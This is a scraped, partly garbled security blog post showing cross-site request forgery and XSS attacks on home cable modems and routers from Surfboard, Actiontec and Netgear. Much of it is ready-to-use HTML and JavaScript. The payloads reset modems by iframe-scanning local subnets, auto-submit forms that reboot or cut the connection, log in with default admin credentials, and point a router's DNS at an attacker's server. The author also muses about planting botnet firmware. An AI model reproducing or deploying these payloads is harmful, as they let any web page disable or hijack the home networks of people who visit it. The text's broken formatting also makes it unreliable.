The Surfboard cable modem offers little in functionality besides rebooting unless of course I wanted to be malicious and remove all settings on the cable modem and essentially turn it into a door stop until the thing can be activated again by the ISP. Why does this attack work? First off, its unauthenticated so anyone can do this provided they’re on the local network. XSS comes in handy for when you want the victim to do something \/ visit somewhere. Since the victim is the one doing the running the script and not me, they’re already on the local network. <\/p>\n How does the code work? We just post the data using some html and javascript:<\/p>\n <\/p>\n What about CenturyLink? I got your back here for their modern actiontek’s.<\/p>\n <\/p>\n Am I done with modems? NO! There’s 1 more gem to go over!<\/p>\n I was rummaging through my old stuff and found an old DSL modem. Yet another actiontek from Qwest internet (now known as CentruryLink). <\/p>\n Just booting the thing up and browsing to the setup page I found this:<\/p>\n File download vulnerability. I used it to read the ELF bin inside. <\/p>\n Using the strings I was able to google a little more info on the thing. I came across <\/p>\n Just insert the code into an iframe or web page and wait. <\/p>\n What if I wanted to attack people’s routers instead of the modem? Most consumer routers are at the very least password protected, but for the most part, they use the out of the box defaults. Because who sets the password these days right? Not my dad!<\/p>\n So how would you attack them? My netgear modem for example uses HTTP Basic auth and out of the box, the default username \/ password combo is admin:admin. <\/p>\n Now what about that reboot? So 2 values need to be posted to the URI \/apply.cgi?\/reboot_waiting.htm. So we do something like so: Firefox will alert you when you’re about to login some place using this method with javascript, but not with an iframe. IE doesn’t. Rebooting the router is only the tip of the iceberg. What if I coded this to change the user’s DNS servers to my own? Or better yet, enabled remote management? The real fun comes to mind however when we consider the possibility of passing a custom firmware image, like a hacked OpenWRT OS that calls home to daddy and allows for a botnet. All from visiting a compromised site, or better yet, some sort of reflective XSS somewhere. Why attempt to install malware on the victim’s PC when I can own everyone using the router instead?<\/p>\n Code time! Let’s dive right in.<\/p>\n Change DNS?<\/p>\n Sure<\/p>\n <\/p>\n Disable the net? Sure.
\n![\"cm_fun0\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/11\/cm_fun0.png\")
<\/a>
\nBut that would be a real dick move. <\/p>\n<html><\/span>\r\nAYY LMAO Surfboard\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>\r\nvar<\/span> x;\r\nfor<\/span>(x=0<\/span>;x<255<\/span>;x++)\r\n{\r\ndocument.write("<iframe src='http:\/\/192.168."<\/span> + x + ".1\/reset.htm' width='3' height='5'><\/iframe>"<\/span>);\r\n}\r\n<\/script><\/span>\r\n<\/html><\/span>\r\n<\/pre>\n<\/div>\n<html><\/span>\r\nActiontec from Centurylink\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>\r\nvar<\/span> x;\r\nfor<\/span>(x=0<\/span>;x<255<\/span>;x++)\r\n{\r\ndocument.write("<iframe src='http:\/\/192.168."<\/span> + x + ".1\/rebootinfo.html' width='3' height='5'><\/iframe>"<\/span>);\r\n}\r\n<\/script><\/span>\r\n<\/html><\/span>\r\n<\/pre>\n<\/div>\n![\"actiontek_gt701-wg_2\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2-300x176.png\")
<\/a><\/p>\n![\"actiontek_gt701-wg_1\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1-300x211.png\")
<\/a>
\nA little peek in IDA told 2 things – Linux and MIPS. <\/p>\n![\"actiontek_gt701-wg_23\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23-300x141.png\")
<\/a><\/p>\n
\ncm_cli<\/a> from RouterTech.org. Thanks to the docs, I was able to see the commands supported by this binary that are processed by the app which I can leverage using javascript \/ html.<\/p>\n<!-- reboot --><\/span>\r\n<body<\/span> onload=<\/span>"setTimeout(function(){document.forms[0].submit();},5000);"<\/span>><\/span>\r\n<form<\/span> name=<\/span>"form1"<\/span> method=<\/span>"post"<\/span> action=<\/span>"http:\/\/192.168.2.1\/cgi-bin\/webcm"<\/span>><\/span>\t\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"login:command\/password"<\/span> value=<\/span>"admin"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"logic:command\/reboot"<\/span> value=<\/span>"1"<\/span>><\/span>\r\n<\/form><\/span>\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>document.forms[0<\/span>].submit();<\/script><\/span>\r\n<\/body><\/span>\r\n<!-- disconnect from net --><\/span>\r\n<body<\/span> onload=<\/span>"setTimeout(function(){document.forms[0].submit();},5000);"<\/span>><\/span>\r\n<form<\/span> name=<\/span>"form1"<\/span> method=<\/span>"post"<\/span> action=<\/span>"http:\/\/192.168.2.1\/cgi-bin\/webcm"<\/span>><\/span>\t\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"login:command\/password"<\/span> value=<\/span>"admin"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"connection0:settings\/cmd_connect"<\/span> value=<\/span>"1"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"var:state"<\/span> value=<\/span>"0"<\/span>><\/span>\r\n<\/form><\/span>\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>document.forms[0<\/span>].submit();<\/script><\/span>\r\n<\/body><\/span>\r\n<!-- disable net --><\/span>\r\n<body<\/span> onload=<\/span>"setTimeout(function(){document.forms[0].submit();},5000);"<\/span>><\/span>\r\n<form<\/span> name=<\/span>"form1"<\/span> method=<\/span>"post"<\/span> action=<\/span>"http:\/\/192.168.2.1\/cgi-bin\/webcm"<\/span>><\/span>\t\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"login:command\/password"<\/span> value=<\/span>"admin"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"connection0:settings\/enabled"<\/span> value=<\/span>"0"<\/span>><\/span>\r\n<\/form><\/span>\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>document.forms[0<\/span>].submit();<\/script><\/span>\r\n<\/body><\/span>\r\n<\/pre>\n<\/div>\n\nRouters
\n<\/h3>\n
\n![\"cm_fun04\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun04-300x234.png\")
<\/a>
\nPeering at the source code of the page, we need a few variables to POST, otherwise this won’t work.
\n![\"cm_fun03\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun03-300x259.png\")
<\/a><\/p>\n
\nname=”yes” value=”Yes” and name=”submit_flag” value=”reboot”<\/p>\n
\n<\/p>\n<form<\/span> action=<\/span>"http:\/\/admin:admin@192.168.1.1\/apply.cgi?\/reboot_waiting.htm"<\/span> method=<\/span>"POST"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"submit_flag"<\/span> value=<\/span>"reboot"<\/span> \/><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"yes"<\/span> value=<\/span>"Yes"<\/span> \/><\/span>\r\n<\/form><\/span>\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>document.forms[0<\/span>].submit();<\/script><\/span>\r\n<\/pre>\n<\/div>\n
\nThis should reboot a netgear router assuming they didn’t change their password defaults. <\/p>\n<form<\/span> method=<\/span>"POST"<\/span> action=<\/span>"\/apply.cgi?\/BAS_update.htm"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"submit_flag"<\/span> value=<\/span>"ether"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"ether_dnsaddr1"<\/span> value=<\/span>"your_evil_dns_here"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"ether_dnsaddr2"<\/span> value=<\/span>"your_evil_dns_here"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"ether_dnsaddr3"<\/span> value=<\/span>"your_evil_dns_here"<\/span>><\/span>\r\n<input<\/span> type=<\/span>"hidden"<\/span> name=<\/span>"Apply"<\/span> value=<\/span>"Apply"<\/span>><\/span>\r\n<\/form><\/span>\t\r\n<script <\/span>type=<\/span>"text\/javascript"<\/span>><\/span>document.forms[0<\/span>].submit();<\/script><\/span>\r\n<\/pre>\n<\/div>\n
\n<\/p>\n<form<\/span>